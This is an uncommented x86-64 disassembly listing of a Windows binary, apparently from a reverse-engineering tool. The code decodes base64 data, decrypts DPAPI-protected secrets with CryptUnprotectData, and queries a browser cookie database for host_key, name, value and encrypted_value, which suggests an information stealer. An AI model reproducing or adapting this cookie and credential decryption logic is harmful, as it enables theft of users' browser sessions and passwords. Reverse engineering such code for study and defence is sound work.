shl rbx, 0x16
or rbx, rsi
or rbx, rax
shl rbp, 0x10
or rbp, rbx
bswap rbp
mov rax, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x140]
mov qword [rax + rcx], rbp
add rcx, 6
mov qword [rsp + 0x140], rcx
add qword [rsp + 0x260], 0xffffffffffffffff
mov rsi, r12
mov rbx, r10
mov r10, r12
cmp r12, rbx
mov r15, qword [rsp + 0x158]
mov rdi, qword [rsp + 0x150]
jb 0x140008bfb
jmp 0x14000927b
mov rax, qword [rsp + 0x150]
lea r9, [rax + 0x1f]
mov r10, rdi
mov rcx, rdi
mov qword [rsp + 0x310], rbx
mov qword [rsp + 0x308], r8
cmp rcx, 0xffffffffffffffe0
je 0x14000d7e2
lea rsi, [rcx + 0x20]
cmp rsi, r11
ja 0x14000d7f9
lea rdx, [r10 + 0x1a]
cmp rdx, r15
ja 0x14000d809
movzx eax, byte [r9 + rcx - 0x1f]
movzx edx, byte [rax + r13]
cmp rdx, 0xff
je 0x140009948
movzx eax, byte [r9 + rcx - 0x1e]
movzx r14d, byte [rax + r13]
cmp r14, 0xff
je 0x140009944
mov qword [rsp + 0x140], r10
movzx eax, byte [r9 + rcx - 0x1d]
movzx r10d, byte [rax + r13]
cmp r10, 0xff
je 0x14000995d
movzx eax, byte [r9 + rcx - 0x1c]
movzx edi, byte [rax + r13]
cmp rdi, 0xff
je 0x140009963
mov qword [rsp + 0x260], rsi
movzx esi, byte [r9 + rcx - 0x1b]
movzx eax, byte [rsi + r13]
cmp rax, 0xff
je 0x14000998c
movzx esi, byte [r9 + rcx - 0x1a]
movzx r8d, byte [rsi + r13]
cmp r8, 0xff
je 0x140009992
movzx ebp, byte [r9 + rcx - 0x19]
movzx esi, byte [rbp + r13]
cmp rsi, 0xff
je 0x1400099a7
movzx ebx, byte [r9 + rcx - 0x18]
movzx r15d, byte [rbx + r13]
cmp r15, 0xff
je 0x1400099bc
mov r11, r13
shl r14, 0x34
shl rdx, 0x3a
or rdx, r14
shl r10, 0x2e
shl rdi, 0x28
or rdi, r10
or rdi, rdx
shl rax, 0x22
shl r8, 0x1c
or r8, rax
shl rsi, 0x16
or rsi, r8
or rsi, rdi
shl r15, 0x10
or r15, rsi
bswap r15
mov rax, qword [rsp + 0x100]
mov r10, qword [rsp + 0x140]
mov qword [rax + r10], r15
movzx eax, byte [r9 + rcx - 0x17]
movzx r13d, byte [rax + r13]
cmp r13, 0xff
je 0x1400099ed
movzx eax, byte [r9 + rcx - 0x16]
movzx r8d, byte [rax + r11]
cmp r8, 0xff
mov rbp, qword [rsp + 0x90]
mov r14, qword [rsp + 0x38]
je 0x140009a40
movzx eax, byte [r9 + rcx - 0x15]
movzx r15d, byte [rax + r11]
cmp r15, 0xff
je 0x140009a46
movzx eax, byte [r9 + rcx - 0x14]
movzx edi, byte [rax + r11]
cmp rdi, 0xff
je 0x140009a66
movzx esi, byte [r9 + rcx - 0x13]
movzx eax, byte [rsi + r11]
cmp rax, 0xff
je 0x140009a97
movzx ebx, byte [r9 + rcx - 0x12]
movzx esi, byte [rbx + r11]
cmp rsi, 0xff
je 0x140009b9d
movzx ebp, byte [r9 + rcx - 0x11]
movzx ebx, byte [rbp + r11]
cmp rbx, 0xff
je 0x140009bdb
movzx r14d, byte [r9 + rcx - 0x10]
movzx ebp, byte [r14 + r11]
cmp rbp, 0xff
je 0x140009c22
shl r8, 0x34
shl r13, 0x3a
or r13, r8
shl r15, 0x2e
shl rdi, 0x28
or rdi, r15
or rdi, r13
shl rax, 0x22
shl rsi, 0x1c
or rsi, rax
shl rbx, 0x16
or rbx, rsi
or rbx, rdi
shl rbp, 0x10
or rbp, rbx
bswap rbp
mov rax, qword [rsp + 0x100]
mov qword [rax + r10 + 6], rbp
movzx eax, byte [r9 + rcx - 0xf]
movzx r14d, byte [rax + r11]
cmp r14, 0xff
je 0x140009c52
movzx eax, byte [r9 + rcx - 0xe]
movzx r8d, byte [rax + r11]
cmp r8, 0xff
mov rbp, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
je 0x140009c9c
movzx eax, byte [r9 + rcx - 0xd]
movzx r15d, byte [rax + r11]
cmp r15, 0xff
je 0x140009ca2
mov rdx, r11
movzx eax, byte [r9 + rcx - 0xc]
movzx edi, byte [rax + r11]
cmp rdi, 0xff
je 0x140009ca8
movzx esi, byte [r9 + rcx - 0xb]
movzx r11d, byte [rsi + rdx]
cmp r11, 0xff
je 0x140009cae
movzx ebx, byte [r9 + rcx - 0xa]
movzx esi, byte [rbx + rdx]
cmp rsi, 0xff
je 0x140009cb4
movzx ebp, byte [r9 + rcx - 9]
movzx ebx, byte [rbp + rdx]
cmp rbx, 0xff
je 0x140009cba
movzx eax, byte [r9 + rcx - 8]
movzx ebp, byte [rax + rdx]
cmp rbp, 0xff
je 0x140009cc0
shl r8, 0x34
shl r14, 0x3a
or r14, r8
shl r15, 0x2e
shl rdi, 0x28
or rdi, r15
or rdi, r14
shl r11, 0x22
shl rsi, 0x1c
or rsi, r11
shl rbx, 0x16
or rbx, rsi
or rbx, rdi
shl rbp, 0x10
or rbp, rbx
bswap rbp
mov rax, qword [rsp + 0x100]
mov qword [rax + r10 + 0xc], rbp
movzx eax, byte [r9 + rcx - 7]
movzx r14d, byte [rax + rdx]
cmp r14, 0xff
je 0x140009cc6
movzx eax, byte [r9 + rcx - 6]
movzx r8d, byte [rax + rdx]
cmp r8, 0xff
mov rbp, qword [rsp + 0x90]
je 0x140009ccc
movzx eax, byte [r9 + rcx - 5]
movzx r15d, byte [rax + rdx]
cmp r15, 0xff
je 0x140009cd2
movzx eax, byte [r9 + rcx - 4]
movzx edi, byte [rax + rdx]
cmp rdi, 0xff
je 0x140009cd8
movzx esi, byte [r9 + rcx - 3]
movzx r11d, byte [rsi + rdx]
cmp r11, 0xff
je 0x140009cec
movzx ebx, byte [r9 + rcx - 2]
movzx esi, byte [rbx + rdx]
cmp rsi, 0xff
je 0x140009d01
movzx ebp, byte [r9 + rcx - 1]
movzx ebx, byte [rbp + rdx]
cmp rbx, 0xff
je 0x140009d1a
movzx eax, byte [r9 + rcx]
movzx ebp, byte [rax + rdx]
cmp rbp, 0xff
je 0x140009d2f
shl r8, 0x34
shl r14, 0x3a
or r14, r8
shl r15, 0x2e
shl rdi, 0x28
or rdi, r15
or rdi, r14
shl r11, 0x22
shl rsi, 0x1c
or rsi, r11
shl rbx, 0x16
or rbx, rsi
or rbx, rdi
shl rbp, 0x10
or rbp, rbx
bswap rbp
mov rax, qword [rsp + 0x100]
mov qword [rax + r10 + 0x12], rbp
add r10, 0x18
add r12, 0xfffffffffffffffc
mov rsi, qword [rsp + 0x260]
mov rcx, rsi
mov r8, qword [rsp + 0x308]
cmp rsi, r8
mov rbp, qword [rsp + 0x90]
lea r13, [0x140222620]
mov r15, qword [rsp + 0x158]
mov r11, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x310]
jbe 0x140008da7
jmp 0x140008bcb
mov r10, rsi
mov rdi, qword [rsp + 0x150]
jmp 0x14000927b
mov r10, rsi
mov r12, qword [rsp + 0x260]
cmp r12, 2
jb 0x14000945a
mov r9, r11
sub r9, r10
add r12, 0xffffffffffffffff
mov rcx, qword [rsp + 0x140]
cmp r11, r10
jb 0x14000d815
cmp rcx, 0xfffffffffffffff9
mov rbp, qword [rsp + 0x90]
mov r14, qword [rsp + 0x38]
ja 0x14000d821
lea rsi, [rcx + 6]
cmp rsi, r15
ja 0x14000d833
cmp r11, r10
je 0x14000d843
movzx eax, byte [rdi + r10]
movzx r8d, byte [rax + r13]
cmp r8, 0xff
je 0x140009a50
cmp r9, 1
jbe 0x14000d855
movzx eax, byte [rdi + r10 + 1]
movzx r11d, byte [rax + r13]
cmp r11, 0xff
je 0x140009a4c
cmp r9, 2
jbe 0x14000d86d
movzx eax, byte [rdi + r10 + 2]
movzx r14d, byte [rax + r13]
cmp r14, 0xff
je 0x140009a7d
cmp r9, 3
jbe 0x14000d885
movzx edx, byte [rdi + r10 + 3]
movzx eax, byte [rdx + r13]
cmp rax, 0xff
je 0x140009b97
cmp r9, 4
jbe 0x14000d89d
movzx edx, byte [rdi + r10 + 4]
movzx ebx, byte [rdx + r13]
cmp rbx, 0xff
je 0x140009bc1
cmp r9, 5
jbe 0x14000d8b5
movzx edx, byte [rdi + r10 + 5]
movzx ebp, byte [rdx + r13]
cmp rbp, 0xff
je 0x140009c08
cmp r9, 6
jbe 0x14000d8cd
mov r15, rsi
movzx esi, byte [rdi + r10 + 6]
movzx edx, byte [rsi + r13]
cmp rdx, 0xff
je 0x140009c37
cmp r9, 7
jbe 0x14000d8e5
movzx edi, byte [rdi + r10 + 7]
movzx esi, byte [rdi + r13]
cmp rsi, 0xff
je 0x140009c7e
shl r8, 0x3a
shl r11, 0x34
or r11, r8
shl r14, 0x2e
or r14, r11
shl rax, 0x28
or rax, r14
shl rbx, 0x22
or rbx, rax
shl rbp, 0x1c
or rbp, rbx
shl rdx, 0x16
or rdx, rbp
shl rsi, 0x10
or rsi, rdx
bswap rsi
mov rax, qword [rsp + 0x100]
mov dword [rax + rcx], esi
shr rsi, 0x20
mov word [rax + rcx + 4], si
add r10, 8
add r9, 0xfffffffffffffff8
mov rdx, r15
mov rcx, r15
add r12, 0xffffffffffffffff
mov r15, qword [rsp + 0x158]
mov r11, qword [rsp + 0x138]
mov rdi, qword [rsp + 0x150]
jne 0x14000929f
jmp 0x140009462
mov rdx, qword [rsp + 0x140]
cmp r10, r11
ja 0x14000d8fd
xor eax, eax
cmp r10, r11
mov r13, qword [rsp + 0x98]
jne 0x14000964b
mov r15, rdx
xor ebp, ebp
xor r12d, r12d
xor edi, edi
xor esi, esi
xor ebx, ebx
xor r14d, r14d
xor r11d, r11d
xor r9d, r9d
xor ecx, ecx
mov rdx, r12
shl rdx, cl
test rdx, rdx
je 0x14000971e
lea rsi, [r10 + rax]
add rsi, 0xffffffffffffffff
movzx eax, bpl
mov rdi, rsi
shr rdi, 8
shl rsi, 0x38
or rsi, rax
mov bl, 2
jmp 0x140009d46
cmp byte [rax + r13], 0xff
mov esi, 0
mov edi, 0
mov r13, qword [rsp + 0x98]
jne 0x140009d53
movzx eax, al
mov rdi, r11
shr rdi, 8
shl r11, 0x38
or r11, rax
xor ebx, ebx
mov rsi, r11
jmp 0x140009d53
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rdi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x40]
call fcn.140007320
jmp 0x140008244
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov rsi, qword [rsp + 0x130]
test r13, r13
je 0x140009575
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
mov r13, qword [rsp + 0x148]
nop dword [rax]
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d796
mov r12, rax
lea rax, [0x140221770]
mov qword [r12], rax
mov dword [r12 + 8], 1
mov edi, 1
xor esi, esi
cmp qword [rsp + 0x278], 0
je 0x1400095de
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x270]
call fcn.14021dfcd
test rdi, rdi
je 0x1400095f0
mov rax, qword [r12]
mov rcx, r12
call qword [rax]
jmp 0x140009620
cmp qword [rsp + 0x268], 0
sete al
or sil, al
jne 0x140009620
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call fcn.14021dfcd
nop word [rax + rax]
cmp qword [rsp + 0x280], 0
je 0x140007f20
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x240]
call fcn.14021dfcd
jmp 0x140007f20
mov qword [rsp + 0x140], rdx
lea rdx, [rdi + r10]
add r11, rdi
xor r12d, r12d
xor edi, edi
xor r9d, r9d
xor r8d, r8d
mov rcx, r11
xor r11d, r11d
mov r14, qword [rsp + 0x38]
mov qword [rsp + 0x138], rcx
mov r15d, eax
sub rcx, rdx
xor ebx, ebx
movzx ebp, byte [rdx + rbx]
cmp rbp, 0x3d
jne 0x1400096b0
lea rsi, [r11 + rbx]
test sil, 2
je 0x140009849
lea rbp, [r15 + rbx]
test ebp, ebp
cmove rdi, rsi
add rbx, 1
cmp rcx, rbx
jne 0x140009680
jmp 0x140009872
add r15, rbx
test r15d, r15d
jg 0x14000b440
lea rax, [0x140222620]
movzx eax, byte [rbp + rax]
cmp rax, 0xff
je 0x14000b45f
lea rsi, [rdx + rbx]
add rsi, 1
not rdx
add r9, 1
lea ecx, [r9 + r9]
lea ecx, [rcx + rcx*2]
neg ecx
and cl, 0x3e
shl rax, cl
mov rcx, qword [rsp + 0x138]
add rdx, rcx
add r11, rbx
add r11, 1
or r8, rax
mov r12d, ebp
mov eax, r15d
cmp rdx, rbx
mov rdx, rsi
jne 0x140009678
jmp 0x140009875
test dil, dil
je 0x140009977
mov rax, qword [rsp + 0x158]
mov rcx, rax
mov rdi, r15
cmp r15, rax
cmova rcx, r15
mov rbp, qword [rsp + 0x90]
mov r15, qword [rsp + 0x128]
jae 0x14000d911
mov rax, r12
shr rax, 0x38
mov rdx, qword [rsp + 0x100]
mov byte [rdx + rdi], al
lea rax, [rdi + 1]
test sil, sil
je 0x1400099f6
cmp rax, rcx
je 0x14000d911
mov r8, rdi
mov rax, r12
shr rax, 0x30
mov rdx, qword [rsp + 0x100]
mov byte [rdx + rdi + 1], al
lea rax, [rdi + 2]
test bl, bl
je 0x1400099f6
cmp rax, rcx
je 0x14000d911
mov rbx, r8
mov rax, r12
shr rax, 0x28
mov rdx, qword [rsp + 0x100]
mov byte [rdx + r8 + 2], al
lea rax, [r8 + 3]
test r14b, r14b
je 0x1400099f6
cmp rax, rcx
je 0x14000d911
mov rbx, r8
mov rax, r12
shr rax, 0x20
mov rdx, qword [rsp + 0x100]
mov byte [rdx + r8 + 3], al
lea r14, [r8 + 4]
test r11b, r11b
je 0x1400099f9
cmp r14, rcx
je 0x14000d911
mov rbx, r8
mov rax, r12
shr rax, 0x18
mov rdx, qword [rsp + 0x100]
mov byte [rdx + r8 + 4], al
lea r14, [r8 + 5]
test r9b, r9b
je 0x1400099f9
cmp r14, rcx
je 0x14000d911
mov r14, r8
shr r12, 0x10
mov rax, qword [rsp + 0x100]
mov byte [rax + r8 + 5], r12b
add r14, 6
jmp 0x1400099f9
add eax, ebx
test eax, eax
cmovg rsi, rdi
add rsi, r10
mov rdi, rsi
shr rdi, 8
shl rsi, 0x38
or rsi, 0x3d
xor ebx, ebx
mov rbp, qword [rsp + 0x90]
jmp 0x140009d53
mov ebp, r12d
cmp r9, 8
mov r15, qword [rsp + 0x140]
ja case.0x1400098ab.1
mov r12, r8
xor eax, eax
lea rcx, [0x14000db5c]
movsxd rdx, dword [rcx + r9*4]
add rdx, rcx
xor edi, edi
xor esi, esi
xor ebx, ebx
xor r14d, r14d
xor r11d, r11d
xor r9d, r9d
xor ecx, ecx
jmp rdx
mov ecx, 8
mov dil, 1
mov eax, 2
xor esi, esi
xor ebx, ebx
jmp 0x14000b33f
or rsi, 1
jmp 0x1400098cd
or rsi, 2
mov rdi, rsi
shr rdi, 8
shl rsi, 0x38
mov rcx, rsi
jmp 0x140009953
or r15, 3
jmp 0x1400098e7
or r15, 4
mov rdi, r15
shr rdi, 8
shl r15, 0x38
movzx esi, sil
jmp 0x14000990a
or r15, 5
mov rdi, r15
shr rdi, 8
shl r15, 0x38
movzx esi, bl
or rsi, r15
jmp 0x140009959
or r15, 6
mov rdi, r15
shr rdi, 8
shl r15, 0x38
movzx esi, bpl
or rsi, r15
jmp 0x1400099d1
or r15, 7
mov rdi, r15
shr rdi, 8
shl r15, 0x38
movzx esi, dl
or rsi, r15
jmp 0x1400099d1
add rcx, 1
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, al
or rsi, rcx
xor ebx, ebx
jmp 0x1400099db
add rcx, 2
jmp 0x140009967
add rcx, 3
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, al
jmp 0x1400099ce
mov rbp, qword [rsp + 0x90]
mov r14, r15
mov r15, qword [rsp + 0x128]
jmp 0x1400099f9
add rcx, 4
jmp 0x140009996
add rcx, 5
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, sil
jmp 0x1400099ce
add rcx, 6
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, bpl
jmp 0x1400099ce
add rcx, 7
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, bl
or rsi, rcx
xor ebx, ebx
mov rbp, qword [rsp + 0x90]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x98]
jmp 0x140009d53
add rcx, 8
jmp 0x140009c56
mov r14, rax
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x158]
cmp rax, r14
cmovb r14, rax
cmp r14, 4
jbe 0x14000d98c
add r14, 0xfffffffffffffffb
je 0x140009aaf
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
mov rsi, rax
test rax, rax
jne 0x140009ab4
jmp 0x14000d9a2
add rcx, 9
jmp 0x140009a6a
add rcx, 0xa
jmp 0x140009a6a
add r10, 1
mov rdi, r10
shr rdi, 8
shl r10, 0x38
movzx esi, al
or rsi, r10
jmp 0x140009bb2
add rcx, 0xb
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, al
jmp 0x140009baf
add r10, 2
mov rdi, r10
shr rdi, 8
shl r10, 0x38
movzx esi, al
or rsi, r10
jmp 0x140009959
add rcx, 0xc
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, sil
jmp 0x140009baf
mov esi, 1
mov rbx, rdi
mov rcx, qword [rsp + 0x100]
shld rbx, rcx, 0x38
shr rdi, 8
mov qword [rsp + 0x38], rdi
mov rax, rbx
shl rax, 8
movzx edi, cl
or rdi, rax
lea rdx, [rdi + 5]
mov rcx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsp + 0xa0], r14d
mov qword [rsp + 0xa8], rsi
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0xa0]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.CRYPT32.dll_CryptUnprotectData
mov r12, qword [rsp + 0x48]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x268], rax
test r14, r14
je 0x140009b62
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
shld qword [rsp + 0x38], rbx, 8
jne 0x140009b78
mov rdi, qword [rsp + 0x108]
jmp 0x140009dc1
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
mov rdi, qword [rsp + 0x108]
jmp 0x140009dc1
add r10, 3
jmp 0x140009bc5
add rcx, 0xd
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, bl
or rsi, rcx
xor ebx, ebx
mov r13, qword [rsp + 0x98]
jmp 0x140009d53
add r10, 4
mov rdi, r10
shr rdi, 8
shl r10, 0x38
movzx esi, dl
or rsi, r10
jmp 0x140009959
add rcx, 0xe
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, bpl
or rsi, rcx
xor ebx, ebx
mov rbp, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
jmp 0x140009d53
add r10, 5
mov rdi, r10
shr rdi, 8
shl r10, 0x38
movzx esi, dl
or rsi, r10
jmp 0x1400099d1
add rcx, 0xf
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, r14b
jmp 0x140009c64
add r10, 6
mov rdi, r10
shr rdi, 8
shl r10, 0x38
movzx esi, sil
or rsi, r10
jmp 0x1400099d1
add rcx, 0x10
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, al
or rsi, rcx
xor ebx, ebx
mov rbp, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
jmp 0x140009d4e
add r10, 7
mov rax, r10
shr rax, 8
shl r10, 0x38
movzx esi, dil
mov rdi, rax
or rsi, r10
jmp 0x1400099d1
add rcx, 0x11
jmp 0x140009cdc
add rcx, 0x12
jmp 0x140009cdc
add rcx, 0x13
jmp 0x140009cdc
add rcx, 0x14
jmp 0x140009cf0
add rcx, 0x15
jmp 0x140009d05
add rcx, 0x16
jmp 0x140009d1e
add rcx, 0x17
jmp 0x140009d33
add rcx, 0x18
jmp 0x140009d33
add rcx, 0x19
jmp 0x140009cdc
add rcx, 0x1a
jmp 0x140009cdc
add rcx, 0x1b
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, al
jmp 0x140009d13
add rcx, 0x1c
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, sil
jmp 0x140009d13
add rcx, 0x1d
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, bl
or rsi, rcx
xor ebx, ebx
jmp 0x140009d4e
add rcx, 0x1e
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, bpl
jmp 0x140009d41
add rcx, 0x1f
mov rdi, rcx
shr rdi, 8
shl rcx, 0x38
movzx esi, al
or rsi, rcx
xor ebx, ebx
mov rbp, qword [rsp + 0x90]
mov r14, qword [rsp + 0x38]
test r14, r14
je 0x140009d6f
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x100]
call fcn.14021dfcd
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov r12, rax
shld rdi, rsi, 8
shl rsi, 8
movzx eax, bl
or rax, rsi
lea rcx, [0x140221850]
mov qword [r12], rcx
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rdi
mov edi, 1
mov r15, qword [rsp + 0x128]
mov rsi, qword [rsp + 0x130]
movzx eax, byte [rsp + 0x1b8]
cmp rax, 3
jb 0x140009ed7
cmp eax, 4
je 0x140009e1b
cmp eax, 3
jne 0x140009e2d
cmp qword [rsp + 0x1c8], 0
je 0x140009ed7
mov rsi, qword [rsp + 0x1c0]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
mov rsi, qword [rsp + 0x130]
call fcn.14021dfcd
jmp 0x140009ed7
lea rcx, [rsp + 0x1c0]
call fcn.1400032a0
jmp 0x140009ed7
mov r8, qword [rsp + 0x1c8]
test r8, r8
je 0x140009ea6
mov rdx, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x180], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x140009ec0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov rsi, qword [rsp + 0x130]
test r13, r13
je 0x140009eee
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
test rdi, rdi
je 0x140009f02
xor esi, esi
mov r13, qword [rsp + 0x148]
jmp 0x1400095bc
mov qword [rsp + 0x2d8], r12
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], rax
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
mov r13, qword [rsp + 0x148]
je 0x14000db30
mov rsi, rax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0xa0]
mov rbx, qword [rsp + 0x240]
mov rdx, rbx
mov r14, qword [rsp + 0x1d8]
mov r8, r14
lea r9, [0x140221c1b]
call fcn.140152950
mov rdi, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xb0]
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x180]
mov rdx, rdi
lea rbp, [0x140221c22]
mov r9, rbp
call fcn.140152950
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov r8, r14
mov r9, rbp
call fcn.140152950
mov rax, qword [rsp + 0x190]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [rsi], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsi + 0x28], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x18], xmm0
cmp qword [rsp + 0xa8], 0
je 0x14000a013
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
mov rbx, qword [rsi]
test rbx, rbx
je 0x14000d5e8
mov r14, qword [rsi + 8]
mov rdi, qword [rsi + 0x10]
mov rcx, rbx
mov rdx, rdi
call fcn.140152ca0
test al, al
je 0x14000a07b
mov qword [rsp + 0x100], rbx
mov rbp, qword [rsp + 0x108]
jmp 0x14000a05a
add rbp, 0x18
cmp rbp, 0x18
je 0x14000a0bb
cmp qword [rsi + rbp + 0x20], 0
je 0x14000a050
mov rbx, qword [rsi + rbp + 0x18]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
jmp 0x14000a050
test r14, r14
je 0x14000a092
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
mov rbp, qword [rsi + 0x18]
test rbp, rbp
je 0x14000d66d
mov r14, qword [rsi + 0x20]
mov rdi, qword [rsi + 0x28]
mov rcx, rbp
mov rdx, rdi
call fcn.140152ca0
test al, al
jne 0x14000a0c3
jmp 0x14000d656
mov rbp, qword [rsp + 0x100]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
mov rcx, rbp
mov rdx, rdi
call fcn.1401525e0
test rax, rax
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x100], rbp
je 0x14000a1c4
mov r8, rdx
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x248]
mov rdx, rax
lea r9, str.login.bakError.
call fcn.140152950
mov rsi, qword [rsp + 0x248]
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, rbp
mov r8, rdi
mov r9, rsi
call fcn.1401540e0
cmp qword [rsp + 0x40], 1
jne 0x14000a218
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov rbp, rax
lea rax, [0x1402218c0]
mov qword [rbp], rax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rdi
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
cmp qword [rsp + 0x250], 0
je 0x14000a20b
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000a20b
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d796
mov rbp, rax
lea rax, [0x140221770]
mov qword [rbp], rax
mov dword [rbp + 8], 1
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
mov sil, 1
mov edi, 1
jmp 0x14000b8b8
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x248]
movaps xmmword [rsp + 0xa0], xmm0
mov rcx, rbx
lea rdx, [rsp + 0xa0]
call fcn.140005c40
cmp dword [rsp + 0x40], 1
lea rbp, [rsp + 0x58]
je 0x14000d9b1
mov rax, qword [rbp]
mov qword [rsp + 0x2d0], rax
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rsp + 0x2c0], xmm0
mov r9d, 0x3a
mov rcx, rbx
lea rdx, [rsp + 0x2c0]
lea r8, str.SELECT_host_key__name__value__encrypted_value_FROM_cookies
call fcn.140005ff0
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0x160], xmm0
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0x170], rcx
cmp rax, 1
jne 0x14000a338
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x160]
